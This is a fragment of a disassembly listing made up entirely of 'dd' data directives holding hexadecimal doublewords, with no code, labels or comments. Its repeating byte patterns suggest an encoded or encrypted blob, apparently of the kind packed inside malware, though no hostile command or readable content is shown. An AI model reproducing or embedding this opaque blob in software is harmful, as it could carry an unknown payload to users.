		dd 0AE08B36h, 31D14D3Fh, 7331EADDh, 0B5D05320h,	8BEE6336h
		dd 75A7B259h, 0AA593256h, 6DB13256h, 21E9D3EFh,	0D1A63773h
		dd 83F4C65Dh, 8DDBED48h, 16CCB137h, 76343D57h, 43B13254h
		dd 5DB13DBFh, 0A7332956h, 39F8671h, 2A900F6Eh, 2A74B14Dh
		dd 0FC4488DDh, 7858347Eh, 0C8B13256h, 0F37C05C8h, 0C0CEB794h
		dd 13D6F813h, 293ACA06h, 0D39F49A8h, 0FB303D36h, 9CB13256h
		dd 0BAB1325Ah, 0D8205F59h, 50CEA75Ah, 4788ECBh,	0CA478D59h
		dd 2C810E6Fh, 4D333D0Eh, 15B13257h, 0B56F8D59h,	5DB134DDh
		dd 0AE333D56h, 36B13256h, 0ABD488DDh, 5CBE347Eh, 0EAB13257h
		dd 615862AEh, 2DB13256h, 994711E7h, 0B73727E2h,	192E237Fh
		dd 1F3E1CFh, 5E3D48FDh,	0C4CACCD4h, 793F3D50h, 0DAB13256h
		dd 5DB1B559h, 15D73256h, 6ED0859Dh, 0BF58026Ah,	92B13256h
		dd 0EF65DD68h, 1BA70636h, 0C9BFCCA8h, 767A4732h, 0F6F493E1h
		dd 5685BD59h, 19D13256h, 3CD0C737h, 0EAB13251h,	0C276F2E7h
		dd 53E149CBh, 5DB1326Bh
		dd 56F4F5AAh, 57B13254h, 0ABB134BFh, 42E2856h, 3B34C5Eh
		dd 75B13273h, 0BAB137BFh, 61FA2556h, 0EB767EDAh, 57B133AEh
		dd 7C3A5256h, 0D5B139BFh, 0E9E3F256h, 0D00786Bh, 0E8A9AD1Dh
		dd 0AF0BB937h, 0CEB71C2Fh, 58AEB937h, 0ABB13ADCh, 56BE5256h
		dd 0EAB13256h, 75BCDB37h, 1BE73256h, 88E8A1E0h,	771A6DD5h
		dd 5C8D3A39h, 4353D8Dh,	3CB13256h, 0EAB13247h, 0A9B79E4Ch
		dd 33320D29h, 0D6D35BE6h, 546D2157h, 586F0930h,	0ABB177D3h
		dd 0C558CE56h, 0E3B13256h, 2628FC48h, 478E6BDBh, 768A844Fh
		dd 25204A91h, 52583E0Bh, 34B13256h, 239283C1h, 0EA494FD5h
		dd 75BAB659h, 0B9483256h, 0D7BECA0Bh, 0AEB13257h, 53EEBBA3h
		dd 0F843B936h, 3FD18830h, 2D325308h, 7A495242h,	0BAB134D3h
		dd 7356B356h, 0CF96B3C7h, 0A84E6EBFh, 0ABBBDBA9h, 0E5803256h
		dd 3D551129h, 0F3300D3h, 403A5236h, 6ED053AEh, 0AF3D3D96h
		dd 0AFB13256h, 0ABB5B1BFh, 0DAD15256h, 66BEECE1h, 75B13256h
		dd 6C0E3D37h, 0D6D7CB37h, 590B5248h, 0BE922E6Fh, 0ABB13244h
		dd 0AF00EE36h, 5414967Ch, 0B30D565Ah, 246AC2ECh, 0D6D05268h
		dd 24BE3E2Bh, 57B1325Ah, 0ABB7BC59h, 56BE3256h,	0EAB13256h
		dd 75B0B459h, 3A4D3256h, 0D9BED9ADh, 0AEB1321Eh, 0ED055236h
		dd 178B330h, 0B44853D6h, 1F41D1D6h, 7AC1C9D6h, 0BAB180D2h
		dd 553B3D56h, 0A1B13256h, 57B130DEh, 42D05256h,	0D5B13355h
		dd 0EAA7BD59h, 64583256h, 0CB13256h, 43A0D4F6h,	0C6344710h
		dd 0BA190A6Fh, 0CED94363h, 0B5583590h, 0E870B330h, 75A2DA15h
		dd 1D053256h, 2E6865F0h, 0A321E0EFh, 0CF54CC41h, 0D6C9BFCh
		dd 29D06DBBh, 0EAB07591h, 15B13256h, 424B8D59h,	0B476B937h
		dd 0AEB1325Bh, 0CE187CB9h, 8D84C222h, 0A8734451h, 55BE523Ah
		dd 763D3D80h, 3AB13256h, 0DED07CB0h, 20BE3796h,	57B13257h
		dd 0A833DBAAh, 0DC583256h, 99B13256h, 4EB329ECh, 39448751h
		dd 5DBCB859h, 0A6583256h, 50B13256h, 0D9F379CBh, 0B32B8846h
		dd 0E2BE3591h, 75B0BA59h, 30483256h, 52485248h,	0AEB130D6h
		dd 36EF6056h, 5EBED1D6h, 2031F9D6h, 12B06DDEh, 75B37591h
		dd 53B13256h, 5DB1325Ch, 0B9809091h, 80834A44h,	204DC105h
		dd 0C4353D91h, 3B13256h, 75B1325Ah, 0E4002A42h,	569BB94Bh
		dd 7A4075AEh, 0A2B7F2D5h, 0ABB231BFh, 20E35256h, 8CD0CA08h
		dd 0E5210CD7h, 0BAF9B659h, 0DD4D3256h, 2BBEA268h, 57B1322Bh
		dd 0ABB139BFh, 0B116E056h, 0A0979C3Fh, 0AB99379Ah, 45CFB330h
		dd 0D9BEA2C6h, 0AEB13274h, 553E3D36h, 21B13256h, 1F3A548Eh
		dd 0EAFEDB37h, 7F583256h, 0F1B13256h, 0B044258Ch, 0D11DDB56h
		dd 903AC719h, 1C69B336h, 0DADDAB9Eh, 0EAB137DDh, 0AE305456h
		dd 0B5D0EE56h, 5DB138D3h, 5D3A5256h, 0A02FD8D7h, 42D008B5h
		dd 0D5B130D6h, 0EABEB759h, 7F583256h, 5BB13256h, 0D351840Ah
		dd 4796D625h, 4B33BF1Fh, 0CBB71C2Bh, 0DA4FB930h, 0EAB12ADEh
		dd 75A3DA56h, 11FC3256h, 0D51434A1h, 0CC35FFD3h, 0B951E40Eh
		dd 0A4C44240h, 0DAE15309h, 0EAB123DEh, 7E393D56h, 53B13256h
		dd 5DB13250h, 0AA33FECFh, 0DEBE8C69h, 0ABB13251h, 1A3A5436h
		dd 0BCD036E3h, 723CDAFh, 0B5B71C2Ch, 5DB121DAh,	0AEBFDB56h
		dd 0E7C83256h, 0DF20C8AFh, 74BC101Eh, 0D9D16855h, 0F1BEF25Dh
		dd 0BAB1322Eh, 51585236h, 63B13256h, 0FF40A178h, 35D17D0Ah
		dd 0B4569083h, 0A5FB330h, 0BD3A53A4h, 0AF3F3DAFh, 0B4B13256h
		dd 0AEB13246h, 0CB47D9B9h, 4D9B3E32h, 0BF6AAECDh, 0B2AC1F44h
		dd 8AD80DBh, 53D13478h,	5DB13258h, 685868B4h, 49339CDBh
		dd 54EC8967h, 5DBE85D1h, 0EAB13252h, 0C7478D30h, 0BAE7DB37h
		dd 4C583256h, 0E4B13256h, 9221E8BCh, 0F2F93B8h,	0B358881Fh
		dd 4A0C4D3Ch, 0BB3ACA00h, 454867A3h, 73CB6EC4h,	5BECC750h
		dd 0A049FC7Dh, 0CBEFCA8Fh, 90288D30h, 0EF5AB330h, 0F0BE539Fh
		dd 0BAB1324Eh, 0B5D05236h, 0AEB13258h, 0A8416C0Ch, 0B193FDE6h
		dd 0F790DEC4h, 8BEF2D7Ah, 74494FD5h, 0BA36B759h, 3D443256h
		dd 0CAC28C30h, 2FB275E9h, 0E2015360h, 0D5A3BE59h, 5FD13256h
		dd 75B8DB84h, 0E3C03256h, 0A894CD9Dh, 0CF8DA725h, 0EFD7CAFCh
		dd 0CD49B759h, 0C4303DFDh, 3B13256h, 75B1325Ah,	6DE96BDAh
		dd 1052B30Fh, 5E81EE07h, 56F78459h, 0ABB123BFh,	25945256h
		dd 0BD3DD4Ah, 4DFD7325h, 34AA3493h, 0B41A55E2h,	0AEB1325Ch
		dd 315C99A5h, 7E38BCC0h, 6C58F9A5h, 3B13256h, 75B1325Bh
		dd 6525B8C7h, 2BB6116h,	28DC10BEh, 0AFCCB177h, 31343D54h
		dd 2CB13256h, 23BA8A30h, 75B122BFh, 0D7103D56h,	0FAC22D15h
		dd 1E827BE9h, 0E061B985h, 0A41A547Ah, 0D5B139D3h, 0EAB7DB56h
		dd 0FD1B3256h, 143D8476h, 0D9BE8A30h, 0AEB126BFh, 3E6CD856h
		dd 3D6418C3h, 0DCAD7E5h, 0A55ECDEh, 0FFB8BDBAh,	431A54AAh
		dd 5CF78459h, 0AEA0DA36h, 0A5F83256h, 481C8C82h, 4DBE9E4Fh
		dd 0C16C7E82h, 80F8E9C7h, 7C0E3D0Dh, 0DCD19937h, 680BA59Ch
		dd 0BED0CA3Eh, 0ABB13276h, 0D5A1DB36h, 7D613256h, 8B681AEh
		dd 0FE564189h, 50832CF3h, 6930FA67h, 47771DBEh,	5715C137h
		dd 2C48F5DDh, 0ED59520Dh, 16B13256h, 0A536E590h, 3CD1BA01h
		dd 0AF3E3D08h, 0ABB13256h, 22BE6B37h, 0D5B1325Eh, 8CD05236h
		dd 14EF8BEEh, 88A8036h,	3DEF53F9h, 1F66B330h, 3653B8DEh
		dd 0ABA0BE59h, 58BE3256h, 0EAB1325Dh, 75B134BFh, 12C9FA56h
		dd 25F597Bh, 6C49FBAFh,	4658325Eh, 0EAB13256h, 0B120F801h
		dd 44925BF5h, 39590BEEh, 0B0AE7647h, 5DBEDB03h,	39433256h
		dd 0D21737BCh, 0DFDF5E0Dh, 37864F39h, 0EABEDB7Eh, 0BBE83256h
		dd 8F1800F4h, 0E04BEF43h, 0CEB921DBh, 585DB987h, 0ABB13AD7h
		dd 0D7343D56h, 8AB13256h, 9D445237h, 0BAB13256h, 7E5BB30Ch
		dd 47B71CFEh, 57B13245h, 59C2CED0h, 1B6AB290h, 0B1F2FB9Ah
		dd 476E04E4h, 42953412h, 5DB123BFh, 3186A256h, 93CEC902h
		dd 0B53F57F9h, 5ECA1C73h, 0AF3A5C4Eh, 0FC44CB5Eh, 94CB1FD4h
		dd 0D7445250h, 0A1D1538Fh, 58D1C4E9h, 0ABB132DBh, 0F305456h
		dd 8BD0555Bh, 75BFDB37h, 8BF93256h, 72C040EBh, 1F4565CDh
		dd 3A420B4h, 0A258529Fh, 1B13256h, 1D19B01Eh, 44A9A68Bh
		dd 0BAB3B559h, 8B3A3256h, 0AEB5F037h, 0A1305436h, 783AE037h
		dd 5EBE6737h, 0EAB13257h, 993ACBAAh, 0BAB0B659h, 0DE4D3256h
		dd 0BD58CA92h, 6AB13256h, 0D42BDA71h, 802C333Bh, 3E0B5048h
		dd 0BE53F270h, 53D12B38h, 5DB13258h, 17918354h,	0A11024A7h
		dd 51CD32ECh, 0D559B050h, 0B0B13256h, 0DD4BD8D7h, 0A8583478h
		dd 59B13256h, 0FA8B5A66h, 43FB6C02h, 337BDE1Bh,	0D47BD59Fh
		dd 53B520Ah, 8DF4F537h,	0BAB13256h, 5DB0B659h, 69483256h
		dd 57B1CE13h, 0F8D13256h, 8A15C7D6h, 2A8253A3h,	75B0B459h
		dd 0DC483256h, 4E582CDDh, 0EB13256h, 0CB08A7C8h, 607BE327h
		dd 51A3F940h, 0E3F094AFh, 0F776E932h, 0BC9F49A8h, 5DB13257h
		dd 0AEB0BF59h, 31443256h, 3B21C9D7h, 0D59BB759h, 64BE3256h
		dd 75B1325Ah, 0BAB135BFh, 0FBE4A756h, 14B03243h, 57A3B259h
		dd 53D13256h, 0D5B138BFh, 34FE0856h, 90C27737h,	0DB28026Dh
		dd 5259C9D6h, 0AEB5E0D2h, 5D343D56h, 0CBB13256h, 8F08C5D7h
		dd 0B3E7459Dh, 75BFDB37h, 1DC3256h, 8317DEFFh, 0C66A586Ch
		dd 1DD50069h, 0ABBFDB16h, 0DBEB3256h, 15F5C301h, 5EDAEAF2h
		dd 0E206AE41h, 5258C9D6h
		dd 0AEB5A0D2h, 37F1CB56h, 0CAD152AEh, 0B4D0CBDDh, 0E55AC9D6h
		dd 75B54CD2h, 5D75256h,	0DCD79640h, 0CF93C081h,	0EC066436h
		dd 603A540Eh, 0DB587237h, 63B13256h, 34265D38h,	49DD7C5Eh
		dd 38D65366h, 5E56B260h, 57ABBE59h, 22BE3256h, 0D5B13242h
		dd 0EAB13DBFh, 0FD1E0356h, 0E4A8E7D9h, 186ABF23h, 95271F43h
		dd 584AB330h, 83353DD6h, 0B5B13252h, 0AF0F52A3h, 14AA1F36h
		dd 38B2CA37h, 5B9912A3h, 0AEB121BFh, 48830256h,	8BC4213Eh
		dd 0D540CCBh, 0CAD18314h, 68294C08h, 4131CB16h,	0B1353DB4h
		dd 47B13255h, 57B13253h, 590D2232h, 364AB2DFh, 0E97AB659h
		dd 78583256h, 9B13256h,	0F5040291h, 0CD078336h,	754A8BBCh
		dd 0CC4AB330h, 69353DB5h, 0E5B13255h, 75B135D9h, 0BB373D56h
		dd 0A1B13256h, 4741D1D6h, 57B13242h, 522F6E9Fh,	2994A6FEh
		dd 811409CEh, 80A161F0h, 34C6A826h, 52C1C9D6h, 0AEB2A0D2h
		dd 0DCD7CB56h, 0B2323D48h, 0DAB13256h, 0EAB121D9h, 75BFDB56h
		dd 18473256h, 1EDD4C9Ch, 0FB70495Ah, 836D277Ch,	0A449D1D6h
		dd 0D5B124D5h, 0EAA0DB56h, 0AA53256h, 5525A871h, 4427F91Ch
		dd 0C44784Fh, 0D7682911h, 2FBE8AADh, 0D5B133C6h, 0EABDB059h
		dd 0F0BE3256h, 0BAB13250h, 5DB1B459h, 28BE3256h, 57B1324Ch
		dd 0ABA5B659h, 0DA583256h, 48B13256h, 3B2A9AD0h, 0C754D78Bh
		dd 548E77B3h, 9031CF8Ch, 2353D53h, 0CBB13257h, 0D5B4BA59h
		dd 420E3256h, 808D84F2h, 978FB237h, 5C8FB659h, 0A7583256h
		dd 80B13256h, 99A4BAC3h, 6E9A5DA4h, 0E5D90CD6h,	75B015D2h
		dd 0BABBDB56h, 872B3256h, 0F51E68F6h, 83DAF18h,	2DBECA16h
		dd 0D5B13254h, 684E5336h, 739F49A8h, 0BAB121BFh, 0C7C06556h
		dd 62337668h, 0FD0A6AABh, 9DAC593Ch, 0DAD0FA86h, 0E5AFB930h
		dd 75B137DCh, 0E2E75256h, 0BA3153AFh, 2FD7CEAEh, 5859B3ADh
		dd 0ABB1E1D2h, 0D9353D56h, 8AB13256h, 75B1B459h, 5D73256h
		dd 3BD03D53h, 2E482CDDh, 58D1C2B1h, 0ABB130D4h,	0DA7EB856h
		dd 0EAB13DD2h, 75B8DA56h, 0D21D3256h, 7DF84840h, 0F48373B7h
		dd 0AC305437h, 2FBEF2D7h, 0D5B132C6h, 0EABBB459h, 0CDD13256h
		dd 0AB7E5F74h, 3C428D59h, 7F305236h, 66181134h,	97F28A30h
		dd 0DD3C3D37h, 0E5B13256h, 75B130DDh, 0EFD05256h, 123CDAAh
		dd 47B71C2Ch, 57B13242h, 1836B9AEh, 1DD6FC52h, 6BC88A38h
		dd 46054855h, 0DA72931Bh, 52D1520Bh, 0AEB132DCh, 0BED0CA56h
		dd 0ABB1325Ah, 1D753860h, 66819A73h, 0D99436B6h, 46F4BB37h
		dd 5DB0B359h, 0CF443256h, 57B13EBFh, 7EA98A56h,	1F0C4B2Ah
		dd 602D2E99h, 89CCB1E7h, 82343D57h, 0A1B13250h,	0B84488DDh
		dd 374D347Eh, 424AB930h, 0D5B13245h, 69141158h,	0EFE7F1B9h
		dd 6A9ED2CBh, 69E83BDh,	0CF0E7E98h, 43303D06h, 42B13256h
		dd 0D5B13259h, 0BC040C3Bh, 379DA522h, 0ECA2C16Bh, 0D62C1A7Ch
		dd 80CACCD4h, 6B88CA50h, 0AA343D66h, 2CB13256h,	0A333D0Eh
		dd 7AB13253h, 0BAB120D2h, 51383D56h, 47B13256h,	57B13251h
		dd 0BABEA911h, 3C16BED3h, 0EAB13244h, 8BC7430h,	0C5658BCBh
		dd 0EE22E2B1h, 36799366h, 0ED3AA561h, 0AD993233h, 0D5B139BFh
		dd 7FF67E56h, 39405D2Eh, 5844B81Eh, 0B5D15206h,	0AEB13253h
		dd 0F757739Bh, 41306AA0h, 0DBAE4BCEh, 1ADE8B37h, 0FED00218h
		dd 94CACCD4h, 0B5E15250h, 0AEB13244h, 93DD8B93h, 4C86DA6Ch
		dd 36FA0ECEh, 10D612C9h, 2FEF68A9h, 8A8D0B37h, 5DACBE59h
		dd 2FBE3256h, 57B13241h, 0ABB120BFh, 0ED474D56h, 4C3B4929h
		dd 0F995C6CAh, 0F406D062h, 52775317h, 0AEB135D9h, 56393D56h
		dd 52B13256h, 0F13E3D0Eh, 16B13253h, 0FA288DDh,	0BD583478h
		dd 0DCB13256h, 64940030h, 0D532D391h, 0AD9F4845h, 0A20F5242h
		dd 12F0343Eh, 1586BB37h, 0DC67B930h, 0D4D0CBDDh, 5B492211h
		dd 0D53ACB06h, 0AD9F49A8h, 0D5B13BBFh, 2DB7CB56h, 0D01C0FBh
		dd 0A63A0016h, 5DBEDB66h, 0DBE43256h, 0B07C5404h, 0BC7A0318h
		dd 2E22EA6Ah, 8A486A3Ah, 14788559h, 0DAB96DDFh,	5DB13ABFh
		dd 3ABECA56h, 3A1ECED4h, 0CA7AB967h, 0D5B594BFh, 0EABADB56h
		dd 0A0783256h, 4383E0E5h, 0DD13F6C2h, 56F4F5F1h, 57B13254h
		dd 0ABB8DBAAh, 12443256h, 0EAB0CA13h, 0FE493256h, 94CB21ECh
		dd 53353D50h, 47B13256h, 57B1325Fh, 0D5A46E38h,	7FDB11D3h
		dd 0F933B155h, 61B71C2Ch, 5386BBAAh, 5DB13245h,	2ED9D46Fh
		dd 1E4FA17Bh, 0E4599DAh, 60C67518h, 36B6E33h, 75B1325Eh
		dd 0BB415237h, 9814675Ch, 56A175DFh, 58B2CAD5h,	0ABB12BD3h
		dd 1244CB56h, 0C4CACCD4h, 75B13050h, 0BB383D56h, 0A4B13256h
		dd 0AEB119BFh, 0AF32CE56h, 0CD3C3D54h, 0B5B13254h, 4D7BBEE9h
		dd 75B8DA2Dh, 26943256h, 1CE50F6Bh, 47D15979h, 57B13250h
		dd 0CC7EA951h, 0B4EF3D25h, 0EA494FD5h, 7529B659h, 0D13256h
		dd 5362E14Fh, 48EB8830h, 11073D37h, 2B18CE57h, 0DAB13256h
		dd 0EAB16AD3h, 75A2DB56h, 28F53256h, 137FBF30h,	7C3A57CCh
		dd 850CE3CCh, 11DCCFAh,	5BBE7283h, 0EAB1325Ah, 75B135BFh
		dd 0B02F3D56h, 0ABB33EEAh, 0CEB4DAD5h, 0D6D7F8DDh, 0CA59D59Ch
		dd 0D5B109BFh, 0FC3F3D56h, 9CB13256h, 0BAB13247h, 6FCAB555h
		dd 37C9CDBEh, 5F67183h,	0F639706h, 0D54E1F1Bh, 6DBE3256h
		dd 75B13259h, 0BAB138BFh, 19E38156h, 1CBED4F0h,	0AF94A114h
		dd 52B4DAD5h, 0D5B109BFh, 8AE2CE56h, 0B54052E8h, 5D0E5408h
		dd 0C73A5309h, 0A89F49A8h, 57B13FBFh, 0E2B1BF56h, 0EE3474F8h
		dd 87017F46h, 713A884Ah, 0BABDDB65h, 9E003256h,	0AC980A26h
		dd 0A60812E7h, 57EA9340h, 0D5B132FFh, 3E343DD6h, 15B13256h
		dd 0BAB120BEh, 156B0056h, 76062E0Eh, 5B011492h,	0DA8E0F00h
		dd 5EFE1EA4h, 0FB5969AEh, 0C7B13256h, 406E1C97h, 0FD742851h
		dd 99835C9h, 0B334CB13h, 0ABB138BFh, 1CCAE656h,	0DF8B1946h
		dd 2B01B10Eh, 0B2303D37h, 52B13256h, 0AEB130DFh, 54D05256h
		dd 6B32CE90h, 57B2C753h, 0EC9F49A8h, 75B13DBFh,	0FB861056h
		dd 8CEBC87Eh, 0A602F9ABh, 0D909BFD6h, 0A33E3D1Eh, 0DAB13256h
		dd 0EAB130DAh, 0FCD05256h, 0DCD13A11h, 66D1E9D7h, 0AEB137BEh
		dd 1759BF56h, 0CAD16594h, 9238530Ch, 0EAA0DB5Ah, 0D8E03256h
		dd 0A8EC49Ah, 0FE1D3FD9h, 0F5CE6AA7h, 0BEE54128h, 0ABB1301Dh
		dd 0D5A8B659h, 64BE3256h, 75B13245h, 0BAB13CBFh, 0F82B156h
		dd 0EE27E292h, 6184B2F6h, 5C76C3EEh, 139AC78Eh,	8A69C5A3h
		dd 75B1B059h, 39D03256h, 4E583796h, 48B13256h, 0DB4769A1h
		dd 6D496638h, 0C93C2EB8h, 541DA08Ch, 0F7B2B663h, 0BC9F49A8h
		dd 0B4D17AA3h, 0AEB13247h, 49A716C0h, 0DEE650ABh, 82C0B80Ah
		dd 202F7DACh, 7F0F8934h, 46D032F3h, 3DB975DFh, 1540B930h
		dd 2F72D240h, 0A7F6BB37h, 0D5A1BB59h, 0E1583256h, 25B13256h
		dd 16801B2Fh, 0C95D05B1h, 474DBABFh, 57B133F9h,	0ABB6B659h
		dd 5FBE3256h, 0EAB13257h, 897101AAh, 43B074DCh,	0D8BEB2FEh
		dd 0AEB132A8h, 57B6DB36h, 0D1AA3256h, 0E6A3BACAh, 0EAA2DB05h
		dd 5CA33256h, 79FA6E52h, 0EF41E9C4h, 0A988835Bh, 88028285h
		dd 0A158537Fh, 56B13256h, 0A84BB2C9h, 0FEB613DDh, 0B5773162h
		dd 5DB125DFh, 0A1595256h, 50B13256h, 778B922Ch,	369D5405h
		dd 0D24CDED8h, 14EBFF7Ah, 53B3F2D5h, 5DB13246h,	7D352E41h
		dd 0AEB7F149h, 0D6753756h, 560ABD18h, 0EAB133EDh, 74323D56h
		dd 46B13256h, 0D9BEE95Dh
		dd 0AEB1326Bh, 0E36DB236h, 832BB837h, 3CB71FC3h, 0EAB13247h
		dd 24B57EDBh, 0F673ADE3h, 3469F025h, 5B7874CCh,	5652B239h
		dd 513A5436h, 0D5BCDB00h, 0CCBB3256h, 98FA4478h, 944D4150h
		dd 4A3AFBAh, 0A1723137h, 57B12AD5h, 0ABA2DB56h,	0CBB73256h
		dd 0FF74A37Bh, 3C05FAFBh, 0CCC3D2FCh, 0B96746D1h, 0A6F6BBCEh
		dd 57B0BB59h, 224D3256h, 3C443E11h, 0EAB132F5h,	75B9B359h
		dd 32BE3256h, 5DB13254h, 76465336h, 57B138BFh, 0A2756356h
		dd 49502777h, 0CF11FA0Fh, 75B132A9h, 0BAB13EBFh, 32968856h
		dd 44694F80h, 0CD6FB496h, 0CB7719C3h, 0D5B13ABEh, 0A9AE6156h
		dd 863A1687h, 9263B377h, 4C91B88h, 0A169C537h, 57B12ED6h
		dd 20D75256h, 0D5A0DA9Dh, 6B033256h, 12B6FFD0h,	4F45C9EDh
		dd 86CCD9FAh, 0F5586F83h, 5571B137h, 0ABBDBF59h, 0D2583256h
		dd 0BBB13256h, 87F093CDh, 0FD38CB0Ah, 0D444C75Eh, 29BE3E11h
		dd 57B13259h, 0ABB138BFh, 6009556h, 74183F6Ch, 8D25236Ah
		dd 7C305236h, 367A6DD8h, 0CF42B930h, 36D0E1DDh,	0ABB6B559h
		dd 57BE3256h, 0EAB13257h, 75BBDBAAh, 0D8AD3256h, 69F22656h
		dd 0DDA3FA9Dh, 3772C79Fh, 0ABB13EBFh, 63AE1256h, 7073A7A7h
		dd 7AFBC9B7h, 80298800h, 0B4D034B0h, 0AEB13258h, 0F87F0EBBh
		dd 31EA1999h, 0FF3330B6h, 8AE46ACAh, 75B13CBFh,	0CA959A56h
		dd 92D97985h, 596B991Ch, 31B126C9h, 0B3DE0D7h, 0DA5DB937h
		dd 0EAB133D8h, 0F64DCA56h, 33BECE92h, 5DB13243h, 0AEB122BFh
		dd 9EA2D56h, 64A31ED1h,	21C22C22h, 0CDC12A3Bh, 0F2BE5273h
		dd 0BAB13242h, 0B4E86036h, 0AEB1325Dh, 9DD33CE9h, 0BFFC668h
		dd 0B4BE01D8h, 0EAB132BEh, 9F306856h, 0BC9F81EAh, 5DBDB459h
		dd 21BE3256h, 57B13250h, 0ABB1B359h, 0B3D13256h, 6A4B76EDh
		dd 0FED033B5h, 94C8C0ECh, 5DBFDB50h, 97AE3256h,	6A549763h
		dd 0E5A7661Ah, 4B80B9E4h, 0E158FB65h, 0F6B13256h, 9B417210h
		dd 74F93368h, 9132F724h, 41353D56h, 0A4B13253h,	0D5B138D2h
		dd 0EAB4DB56h, 67CC3256h, 3149C880h, 59373D51h,	0CEB13256h
		dd 0A8D05336h, 0BF583E23h, 0F3B13256h, 0FC3DAC6Fh, 0D7B86500h
		dd 5657B7C5h, 7FFBC43h,	5B2FA19Bh, 58B947A9h, 0ABB133DFh
		dd 0DAE1CE56h, 0EAB13ADAh, 77353D56h, 0DAB13256h, 54C4DA37h
		dd 2FBE3256h, 57B1324Ah, 0D7D18936h, 0DA595874h, 0EB13256h
		dd 703A74EAh, 7AB8F72Bh, 571553F9h, 0CFEEB6ACh,	0D2BEF25Dh
		dd 0ABB13269h, 3CB6B9AAh, 0EAB1325Ah, 0E0609071h, 0A1CE2A74h
		dd 0C44419C7h, 0AEB160BFh, 57A5DB56h, 940B3256h, 1ECC6902h
		dd 555C0865h, 6AFACA29h, 3595A79Dh, 0DCD1E867h,	694184B5h
		dd 490D8955h, 28D06E4Dh, 0DA582691h, 0F1B13256h, 0C1963BD4h
		dd 87896678h, 0DEAAB377h, 0B558CD93h, 0BE4ECDA9h, 0ABB1325Dh
		dd 560E1385h, 7EBB545Fh, 0FCDA4009h, 53D1CE13h,	5DB13247h
		dd 4E3C0A12h, 193612A9h, 0DD328447h, 65CB4500h,	0EAA2DB26h
		dd 0A6873256h, 9305DAA7h, 0B04EF170h, 8B5FF324h, 0DB792728h
		dd 0DE4E534Eh, 0D2373D5Ah, 0E5B13256h, 75B133DDh, 0CF4ECB56h
		dd 0D6D7525Eh, 0AEB9DA8Eh, 0FE1D3256h, 49ED3F69h, 0DB584C59h
		dd 0F9B13256h, 16852962h, 154E47B6h, 5B65E820h,	51D06862h
		dd 57BCDB61h, 0B8153256h, 53BB1AA7h, 0C0E50216h, 9DFFB0A8h
		dd 0BAB13A0Dh, 5DADBD59h, 2BBE3256h, 57B13240h,	0ABB123BFh
		dd 7E1D8756h, 5B9ED502h, 0F82D677Dh, 0C5C937CAh, 9DBAA1EDh
		dd 0AE98B659h, 0BED13256h, 0ABB13253h, 98D8D75Fh, 13062B9h
		dd 382487CEh, 0D8585309h, 0B4B13255h, 0AEB1325Dh, 0E3991958h
		dd 0CCADDABFh, 5E9CBBE0h, 0D344CE13h, 33333D51h, 43B13255h
		dd 0B44D77A9h, 0AEB1325Bh, 0C3D978ACh, 85E63733h, 0FB5E4A43h
		dd 0EAA3DB8Bh, 61083256h, 809F501Ch, 8A65A30Ch,	3AE44163h
		dd 38893486h, 0ABB54DD5h, 0D5F2B659h, 6BD13256h, 5EC1808Eh
		dd 0B3585212h, 48B13256h, 99DD4010h, 60E7040Dh,	28D053AFh
		dd 0DAB13E29h, 0EAB112D2h, 0F3BE5256h, 0BAB13253h, 0AE77B330h
		dd 47D0CBF9h, 57B13207h, 0ABB6B459h, 58BE3256h,	0EAB13257h
		dd 8A4E8AAFh, 348CDA9h,	5DB13253h, 0AEB123BFh, 17AA4256h
		dd 0A19B9AE9h, 80424DD6h, 0ADC53442h, 0DE42465Bh, 0BAB8DBA3h
		dd 0DDF53256h, 0AF9D1EBFh, 0BE052D78h, 544ECCC8h, 23678836h
		dd 1930108Eh, 45367AA9h, 0AACEB137h, 0DB353D53h, 47B13256h
		dd 57B1325Eh, 661DE563h, 93766B93h, 0ECA14DD5h,	7526B759h
		dd 32BE3256h, 5DB13240h, 0AEB123BFh, 7251C156h,	419D826h
		dd 9400976Fh, 0FCD270B4h, 7AF08BC5h, 0BAB135D8h, 5C363D56h
		dd 52B13256h, 37B575DDh, 2B4F8D59h, 5ED07D85h, 0EC583E09h
		dd 0E4B13256h, 0B6F84CA7h, 5C71DBCFh, 0BA583256h, 61B13256h
		dd 0CD8ECE24h, 0CE9EC3C6h, 108FEA37h, 9BA397C6h, 0B547DDA6h
		dd 5DB13ADDh, 0AC303D56h, 37B13256h, 0AFF6B937h, 0B56EB936h
		dd 8C418D59h, 14D0F4DDh, 0B5BD6DDDh, 5DB13BDCh,	2FD75256h
		dd 37FA9B89h, 42445337h, 0D5B1330Eh, 0EEF6B9AAh, 75B13DBFh
		dd 65A1AF56h, 0BF2EA7FAh, 4054CE16h, 0A3D998D7h, 0A4BD6DDDh
		dd 0D5B135D1h, 0EB3A3D56h, 89B13256h, 0B5B96D6Dh, 5DB1F9D3h
		dd 52E3CE56h, 6C53B336h, 12A4DE63h, 0C4EB7E29h,	0EEE6B937h
		dd 65E419AFh, 0BABADBAFh, 3AC83256h, 308F265Bh,	32BF2A7Dh
		dd 0BFE431B1h, 8A3ACEAFh, 0ED3A3D5Ah, 7AB13256h, 0BAB133D5h
		dd 879ACA56h, 0AEB13DBFh, 8DA8BB56h, 0C63A5C3Bh, 1CA564C3h
		dd 0D7A1794Dh, 15B4D9D5h, 0BAB123BFh, 91ABAE56h, 0A1167123h
		dd 5B34A33Bh, 364F4DC3h, 54D7FBEAh, 8B239DA4h, 7B58520Ch
		dd 0F7B13256h, 0A53A6F9h, 30471FA3h, 0D45153C5h, 0ABA2DBAEh
		dd 22503256h, 8BC766BAh, 4CB7313Bh, 2A415B68h, 0B758A4CDh
		dd 0C85853B1h, 0BEB13256h, 0ABB13250h, 22B6EF86h, 64BE8694h
		dd 75B13242h, 0BABFB059h, 54583256h, 0DBB13256h, 0B13FA2Dh
		dd 0C2B7819Fh, 20B575DDh, 13BD6DDDh, 15B56D7Dh,	503054AFh
		dd 0DED00E79h, 0BD5837BDh, 0A7B13256h, 141E4C09h, 2BEACD57h
		dd 42C50317h, 0EBF34DDFh, 30B20C51h, 5B9911EFh,	0AB353D36h
		dd 0E8B13256h, 0B21E0642h, 0C5CEB137h, 0FB343D55h, 7AB13256h
		dd 0BAB133DFh, 3DF0CB56h, 0F7D88701h, 367DDDD6h, 27BEEB7Dh
		dd 0D5B13244h, 0EAB13FBFh, 24213456h, 0FC7198FFh, 0CD9160E1h
		dd 0F238887Dh, 31D13357h, 306ED4D7h, 0B4628D59h, 0EAB126BFh
		dd 0ACAE1B56h, 0DA1CCF7Dh, 0ACA6545Ah, 42455652h, 0BFB4BE15h
